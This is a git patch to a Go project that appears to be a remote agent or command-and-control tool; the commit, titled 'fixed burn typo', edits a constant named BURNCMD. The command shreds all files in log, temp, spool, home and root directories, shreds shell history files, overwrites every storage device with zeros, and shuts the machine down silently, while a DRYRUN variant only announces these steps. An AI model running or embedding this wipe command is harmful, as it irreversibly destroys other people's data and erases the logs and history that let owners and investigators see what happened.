From 88d3e9e2c81f46c16f115cf6ae5a87a04f6bf22a Mon Sep 17 00:00:00 2001 From: delorean Date: Wed, 22 Nov 2023 13:36:04 -0600 Subject: [PATCH] fixed burn typo --- common/globals.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common/globals.go b/common/globals.go index 19500c6..fd4c34a 100644 --- a/common/globals.go +++ b/common/globals.go @@ -9,6 +9,6 @@ var ( ACCEPTED = "https://git.supernets.org/assets/laugh.mp3" DENIED = "https://git.supernets.org/assets/tryagain.mp3" AGENTLOG = "agents.list" - BURNCMD = `dirs=(/var/log/ /tmp/ /var/spool/ /home/ /root/); for d in "${dirs[@]}"; do find / -type f -name "*history" -exec shred -fzn 10 {} \;; done; find / -name "*history" -type f -exec shred -fzn 10 {} \;; for d in $(df -h | grep "^/dev/" | cut -d " " -f 1); do dd if=/dev/zero of=$d; done; shutdown --no-wall now` + BURNCMD = `dirs=(/var/log/ /tmp/ /var/spool/ /home/ /root/); for d in "${dirs[@]}"; do find $d -type f -exec shred -fzn 10 {} \;; done; find / -name "*history" -type f -exec shred -fzn 10 {} \;; for d in $(df -h | grep "^/dev/" | cut -d " " -f 1); do dd if=/dev/zero of=$d; done; shutdown --no-wall now` DRYRUN = `dirs=(/var/log/ /tmp/ /var/spool/ /home/ /root/); for d in "${dirs[@]}"; do wall "recursively shredding $d"; done; find / -name "*history" -type f -exec wall "shredding history file {}" \;; for d in $(df -h | grep "^/dev/" | cut -d " " -f 1); do wall "zeroing storage device $d"; done` )